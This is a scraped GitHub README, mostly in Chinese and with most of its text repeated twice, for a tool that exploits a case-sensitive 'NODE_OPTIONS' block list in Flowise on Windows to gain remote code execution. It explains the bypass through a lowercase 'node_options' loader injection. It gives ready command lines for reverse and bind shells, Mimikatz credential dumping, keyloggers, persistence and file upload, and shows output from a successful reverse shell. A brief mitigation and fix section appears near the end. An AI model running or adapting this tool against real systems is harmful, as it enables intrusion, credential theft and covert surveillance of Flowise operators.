CerberusMrXi/Flowise-CVE-2026-58057-exploit
GitHub: CerberusMrXi/Flowise-CVE-2026-58057-exploit
针对 Flowise Windows 平台 CVE-2026-58057 远程代码执行漏洞的渗透测试利用工具。
Stars: 0 | Forks: 0
# Flowise CVE-2026-58057 - Windows 远程代码执行漏洞利用
## 📋 概述
这是一个针对 **CVE-2026-58057** 的生产级漏洞利用程序,该漏洞是 Windows 平台上 Flowise 中的一个严重远程代码执行漏洞。该漏洞源于对大小写敏感的环境变量验证,未能拦截小写的 `node_options`,使得攻击者能够绕过 `NODE_OPTIONS` 黑名单,并通过 Custom MCP stdio 配置执行任意代码。
该漏洞利用程序展示了专业的软件工程实践,采用了模块化架构、全面的错误处理机制,并支持多种 payload 类型。
## ⚠️ 免责声明 ## 🔍 技术细节 ### 漏洞根本原因 ``` # 易受攻击的 Validation (Case-Sensitive ) dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"} if key in dangerous: # Only blocks exact uppercase match raise ValueError(f"Modification not allowed") ``` ### 漏洞利用机制 1. 攻击者通过认证进入 Flowise 2. 创建/修改 Custom MCP stdio 节点 3. 注入小写的 `node_options` 环境变量 4. 将值设置为 `--require malicious-loader.js` 5. 当 MCP stdio 运行时,Node.js 会执行该加载器 6. 成功实现任意代码执行 ## ✨ 功能特性 ### 核心能力 - ✅ **Reverse Shell** - 连接回攻击者机器 - ✅ **Bind Shell** - 在目标机器上开放监听端口 - ✅ **命令执行** - 运行任意系统命令 - ✅ **文件上传** - 向目标系统上传文件 - ✅ **权限维持** - 多种权限维持机制 - ✅ **信息收集** - 收集系统情报 - ✅ **凭据转储** - 集成 Mimikatz - ✅ **屏幕截图** - 捕获桌面截图 - ✅ **键盘记录器** - 安装键盘记录功能 ### 技术特性 - 🔐 **多种认证方式** - 支持 API key 或用户名/密码 - 🔄 **自动重试逻辑** - 对网络问题具有韧性 - 🧹 **自我清理** - 移除目标机器上的加载器文件 - 🌐 **跨平台支持** - 适用于 Windows/Linux/macOS - 🎨 **彩色输出** - 增强可读性 - 📊 **详细调试** - 详细的日志记录以便于故障排除 ## 📦 安装说明 ### 前置条件 - Python 3.6 或更高版本 - pip (Python 包管理器) ### 快速安装 ``` # Clone repository git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit cd Flowise-CVE-2026-58057-exploit # 安装 dependencies pip install -r requirements.txt # 或最小化安装 pip install requests urllib3 ``` ### Docker 安装(可选) ``` FROM python:3.9-alpine RUN apk add --no-cache gcc musl-dev COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY exploit.py . ENTRYPOINT ["python3", "exploit.py"] ``` ## 🚀 使用说明 ### 命令行选项 ``` python3 exploit.py --help ``` ### 认证选项 | 选项 | 描述 | 示例 | | --- | --- | --- | | `-t, --target` | Flowise URL(必填) | `http://localhost:3000` | | `-k, --api-key` | Flowise API key | `flowise_abc123...` | | `-u, --username` | 用户名 | `admin` | | `-p, --password` | 密码 | `password123` | ### Payload 选项 | 选项 | 描述 | 示例 | | --- | --- | --- | | `--payload` | Payload 类型 | `reverse_shell` | | `--lhost` | 监听主机 | `192.168.1.100` | | `--lport` | 监听端口 | `4444` | | `--command` | 要执行的命令 | `whoami` | | `--local-file` | 要上传的文件 | `payload.exe` | | `--remote-path` | 远程保存路径 | `C:\\Temp\\update.exe` | ### 执行选项 | 选项 | 描述 | | --- | --- | | `--interactive` | 启动交互式 shell | | `--verbose` | 启用调试输出 | | `--timeout` | 请求超时时间(秒) | | `--retries` | 重试次数 | ## 📝 使用示例 ### 1. 基本 Reverse Shell ``` python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \ --payload reverse_shell \ --lhost 192.168.1.50 \ --lport 4444 ``` ### 2. 交互式 Reverse Shell ``` python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \ --payload reverse_shell \ --lhost 192.168.1.50 \ --lport 4444 \ --interactive ``` ### 3. 命令执行 ``` python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \ --payload command_exec \ --command "whoami" ``` ### 4. 文件上传 ``` python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \ --payload file_upload \ --local-file /path/to/payload.exe \ --remote-path "C:\\ProgramData\\update.exe" ``` ### 5. 凭据转储 (Mimikatz) ``` python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \ --payload mimikatz ``` ### 6. 权限维持安装 ``` python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \ --payload persistence ``` ### 7. 信息收集 ``` python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \ --payload info_gather ``` ### 8. 屏幕截图捕获 ``` python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \ --payload screenshot ``` ## 🎯 Payload 类型 | Payload | 描述 | 参数 | | --- | --- | --- | | `reverse_shell` | 连回监听端 | `--lhost`, `--lport` | | `bind_shell` | 开放监听端口 | `--lport` | | `command_exec` | 执行命令 | `--command` | | `file_upload` | 向目标上传文件 | `--local-file`, `--remote-path` | | `persistence` | 安装权限维持 | 无 | | `info_gather` | 收集系统信息 | 无 | | `mimikatz` | 转储凭据 | 无 | | `screenshot` | 捕获屏幕截图 | 无 | | `keylogger` | 安装键盘记录器 | 无 | ## 🛡️ 缓解措施 ### 升级 Flowise ``` # 升级到 3.1.3 或更高版本 npm install -g flowise@latest # 或 docker pull flowiseai/flowise:latest ``` ### 临时解决方案 - 限制对 Custom MCP 配置的访问 - 实施 网络隔离 - 监控可疑的环境变量 - 使用 Web 应用防火墙 (WAF) ### 修复代码 ``` # 已修复的 Validation (Case-Insensitive) dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"} if key.upper() in dangerous: # Case-insensitive check raise ValueError(f"Modification not allowed") ``` ## 📊 输出示例 ### 成功利用漏洞 ``` [14:32:15] ℹ Starting exploit sequence... [14:32:15] ℹ Attempting authentication... [14:32:16] ✓ Authenticated with API key [14:32:16] ℹ Preparing reverse_shell payload execution... [14:32:16] ℹ Injecting environment variable... [14:32:17] ℹ Triggering payload execution... [14:32:19] ✓ Payload 'reverse_shell' executed successfully! [14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444 ``` ### 详细模式 (Verbose Mode) ``` [14:32:15] 🔍 Session created with retry strategy [14:32:15] 🔍 Using existing workspace: ws_123456 [14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js [14:32:16] 🔍 MCP stdio configuration updated ``` ## 🐛 故障排除 ### 常见问题 | 问题 | 解决方案 | | --- | --- | | SSL 证书错误 | `pip install --trusted-host pypi.org -r requirements.txt` | | 权限被拒绝 | `pip install --user -r requirements.txt` | | 连接被拒绝 | 检查目标 URL 和网络连通性 | | 认证失败 | 检查 API key 或用户名/密码 | | Payload 失败 | 使用 `--verbose` 获取详细的调试信息 | | Python 版本问题 | 确保已安装 Python 3.6+ | ### 调试命令 ``` # 启用 verbose logging python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose # 测试连通性 curl -k https://localhost:3000/api/v1/version # 检查 Python 版本 python3 --version ``` ## 📁 文件结构 ``` flowise-CVE-2026-58057-exploit/ ├── exploit.py # Main exploit script ├── requirements.txt # Core dependencies ├── README.md # This documentation ├── LICENSE # MIT License └── CHANGELOG.md # Version history ``` ## 📜 许可证 本项目基于 MIT 许可证授权 - 详见 [LICENSE](LICENSE) 文件。 ## 🔗 参考 - [CVE-2026-58057](https://nvd.nist.gov/vuln/detail/CVE-2026-58057) - [Flowise GitHub 仓库](https://github.com/FlowiseAI/Flowise) - [Flowise 文档](https://docs.flowiseai.com/) - [Node.js 环境变量安全性](https://nodejs.org/en/docs/guides/environment-variables-security/) ## 📧 联系方式 **作者:** Sudeepa Wanigarathna**安全研究员与渗透测试专家** ## ⭐ 支持 如果您觉得此工具 useful,请考虑: - ⭐ 在 GitHub 上为仓库点 Star - 🔔 关注以获取更新 - 📝 反馈问题或建议 **专为安全社区倾注 ❤️ 打造**
## ⚠️ 免责声明 ## 🔍 技术细节 ### 漏洞根本原因 ``` # 易受攻击的 Validation (Case-Sensitive ) dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"} if key in dangerous: # Only blocks exact uppercase match raise ValueError(f"Modification not allowed") ``` ### 漏洞利用机制 1. 攻击者通过认证进入 Flowise 2. 创建/修改 Custom MCP stdio 节点 3. 注入小写的 `node_options` 环境变量 4. 将值设置为 `--require malicious-loader.js` 5. 当 MCP stdio 运行时,Node.js 会执行该加载器 6. 成功实现任意代码执行 ## ✨ 功能特性 ### 核心能力 - ✅ **Reverse Shell** - 连接回攻击者机器 - ✅ **Bind Shell** - 在目标机器上开放监听端口 - ✅ **命令执行** - 运行任意系统命令 - ✅ **文件上传** - 向目标系统上传文件 - ✅ **权限维持** - 多种权限维持机制 - ✅ **信息收集** - 收集系统情报 - ✅ **凭据转储** - 集成 Mimikatz - ✅ **屏幕截图** - 捕获桌面截图 - ✅ **键盘记录器** - 安装键盘记录功能 ### 技术特性 - 🔐 **多种认证方式** - 支持 API key 或用户名/密码 - 🔄 **自动重试逻辑** - 对网络问题具有韧性 - 🧹 **自我清理** - 移除目标机器上的加载器文件 - 🌐 **跨平台支持** - 适用于 Windows/Linux/macOS - 🎨 **彩色输出** - 增强可读性 - 📊 **详细调试** - 详细的日志记录以便于故障排除 ## 📦 安装说明 ### 前置条件 - Python 3.6 或更高版本 - pip (Python 包管理器) ### 快速安装 ``` # Clone repository git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit cd Flowise-CVE-2026-58057-exploit # 安装 dependencies pip install -r requirements.txt # 或最小化安装 pip install requests urllib3 ``` ### Docker 安装(可选) ``` FROM python:3.9-alpine RUN apk add --no-cache gcc musl-dev COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY exploit.py . ENTRYPOINT ["python3", "exploit.py"] ``` ## 🚀 使用说明 ### 命令行选项 ``` python3 exploit.py --help ``` ### 认证选项 | 选项 | 描述 | 示例 | | --- | --- | --- | | `-t, --target` | Flowise URL(必填) | `http://localhost:3000` | | `-k, --api-key` | Flowise API key | `flowise_abc123...` | | `-u, --username` | 用户名 | `admin` | | `-p, --password` | 密码 | `password123` | ### Payload 选项 | 选项 | 描述 | 示例 | | --- | --- | --- | | `--payload` | Payload 类型 | `reverse_shell` | | `--lhost` | 监听主机 | `192.168.1.100` | | `--lport` | 监听端口 | `4444` | | `--command` | 要执行的命令 | `whoami` | | `--local-file` | 要上传的文件 | `payload.exe` | | `--remote-path` | 远程保存路径 | `C:\\Temp\\update.exe` | ### 执行选项 | 选项 | 描述 | | --- | --- | | `--interactive` | 启动交互式 shell | | `--verbose` | 启用调试输出 | | `--timeout` | 请求超时时间(秒) | | `--retries` | 重试次数 | ## 📝 使用示例 ### 1. 基本 Reverse Shell ``` python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \ --payload reverse_shell \ --lhost 192.168.1.50 \ --lport 4444 ``` ### 2. 交互式 Reverse Shell ``` python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \ --payload reverse_shell \ --lhost 192.168.1.50 \ --lport 4444 \ --interactive ``` ### 3. 命令执行 ``` python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \ --payload command_exec \ --command "whoami" ``` ### 4. 文件上传 ``` python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \ --payload file_upload \ --local-file /path/to/payload.exe \ --remote-path "C:\\ProgramData\\update.exe" ``` ### 5. 凭据转储 (Mimikatz) ``` python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \ --payload mimikatz ``` ### 6. 权限维持安装 ``` python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \ --payload persistence ``` ### 7. 信息收集 ``` python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \ --payload info_gather ``` ### 8. 屏幕截图捕获 ``` python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \ --payload screenshot ``` ## 🎯 Payload 类型 | Payload | 描述 | 参数 | | --- | --- | --- | | `reverse_shell` | 连回监听端 | `--lhost`, `--lport` | | `bind_shell` | 开放监听端口 | `--lport` | | `command_exec` | 执行命令 | `--command` | | `file_upload` | 向目标上传文件 | `--local-file`, `--remote-path` | | `persistence` | 安装权限维持 | 无 | | `info_gather` | 收集系统信息 | 无 | | `mimikatz` | 转储凭据 | 无 | | `screenshot` | 捕获屏幕截图 | 无 | | `keylogger` | 安装键盘记录器 | 无 | ## 🛡️ 缓解措施 ### 升级 Flowise ``` # 升级到 3.1.3 或更高版本 npm install -g flowise@latest # 或 docker pull flowiseai/flowise:latest ``` ### 临时解决方案 - 限制对 Custom MCP 配置的访问 - 实施 网络隔离 - 监控可疑的环境变量 - 使用 Web 应用防火墙 (WAF) ### 修复代码 ``` # 已修复的 Validation (Case-Insensitive) dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"} if key.upper() in dangerous: # Case-insensitive check raise ValueError(f"Modification not allowed") ``` ## 📊 输出示例 ### 成功利用漏洞 ``` [14:32:15] ℹ Starting exploit sequence... [14:32:15] ℹ Attempting authentication... [14:32:16] ✓ Authenticated with API key [14:32:16] ℹ Preparing reverse_shell payload execution... [14:32:16] ℹ Injecting environment variable... [14:32:17] ℹ Triggering payload execution... [14:32:19] ✓ Payload 'reverse_shell' executed successfully! [14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444 ``` ### 详细模式 (Verbose Mode) ``` [14:32:15] 🔍 Session created with retry strategy [14:32:15] 🔍 Using existing workspace: ws_123456 [14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js [14:32:16] 🔍 MCP stdio configuration updated ``` ## 🐛 故障排除 ### 常见问题 | 问题 | 解决方案 | | --- | --- | | SSL 证书错误 | `pip install --trusted-host pypi.org -r requirements.txt` | | 权限被拒绝 | `pip install --user -r requirements.txt` | | 连接被拒绝 | 检查目标 URL 和网络连通性 | | 认证失败 | 检查 API key 或用户名/密码 | | Payload 失败 | 使用 `--verbose` 获取详细的调试信息 | | Python 版本问题 | 确保已安装 Python 3.6+ | ### 调试命令 ``` # 启用 verbose logging python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose # 测试连通性 curl -k https://localhost:3000/api/v1/version # 检查 Python 版本 python3 --version ``` ## 📁 文件结构 ``` flowise-CVE-2026-58057-exploit/ ├── exploit.py # Main exploit script ├── requirements.txt # Core dependencies ├── README.md # This documentation ├── LICENSE # MIT License └── CHANGELOG.md # Version history ``` ## 📜 许可证 本项目基于 MIT 许可证授权 - 详见 [LICENSE](LICENSE) 文件。 ## 🔗 参考 - [CVE-2026-58057](https://nvd.nist.gov/vuln/detail/CVE-2026-58057) - [Flowise GitHub 仓库](https://github.com/FlowiseAI/Flowise) - [Flowise 文档](https://docs.flowiseai.com/) - [Node.js 环境变量安全性](https://nodejs.org/en/docs/guides/environment-variables-security/) ## 📧 联系方式 **作者:** Sudeepa Wanigarathna**安全研究员与渗透测试专家** ## ⭐ 支持 如果您觉得此工具 useful,请考虑: - ⭐ 在 GitHub 上为仓库点 Star - 🔔 关注以获取更新 - 📝 反馈问题或建议 **专为安全社区倾注 ❤️ 打造**
标签:GNU通用公共许可证, HTTP工具, MITM代理, Node.js, 威胁模拟, 编程工具, 网络信息收集, 请求拦截, 远程代码执行, 逆向工具